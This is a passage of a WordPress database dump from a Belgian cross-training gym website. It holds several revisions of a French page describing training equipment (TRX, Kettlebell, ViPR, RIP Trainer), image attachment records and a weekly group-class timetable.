corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:10:48', '2013-06-16 11:10:48', '', 22, 'http://www.crosstrainingcenter.be/?p=71', 0, 'revision', '', 0),
(72, 1, '2013-06-16 11:19:12', '2013-06-16 11:19:12', '', 'vipr-f1', '', 'inherit', 'open', 'open', '', 'vipr-f1', '', '', '2013-06-16 11:19:12', '2013-06-16 11:19:12', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg', 0, 'attachment', 'image/jpeg', 0),
(73, 1, '2013-06-16 11:14:12', '2013-06-16 11:14:12', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:14:12', '2013-06-16 11:14:12', '', 22, 'http://www.crosstrainingcenter.be/?p=73', 0, 'revision', '', 0),
(74, 1, '2013-06-16 11:19:30', '2013-06-16 11:19:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:19:30', '2013-06-16 11:19:30', '', 22, 'http://www.crosstrainingcenter.be/?p=74', 0, 'revision', '', 0),
(75, 1, '2013-06-16 11:22:29', '2013-06-16 11:22:29', '', 'ript', '', 'inherit', 'open', 'open', '', 'ript', '', '', '2013-06-16 11:22:29', '2013-06-16 11:22:29', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg', 0, 'attachment', 'image/jpeg', 0),
(76, 1, '2013-06-16 11:22:21', '2013-06-16 11:22:21', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:22:21', '2013-06-16 11:22:21', '', 22, 'http://www.crosstrainingcenter.be/?p=76', 0, 'revision', '', 0);
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(284, 1, '2013-07-04 16:29:04', '2013-07-04 16:29:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 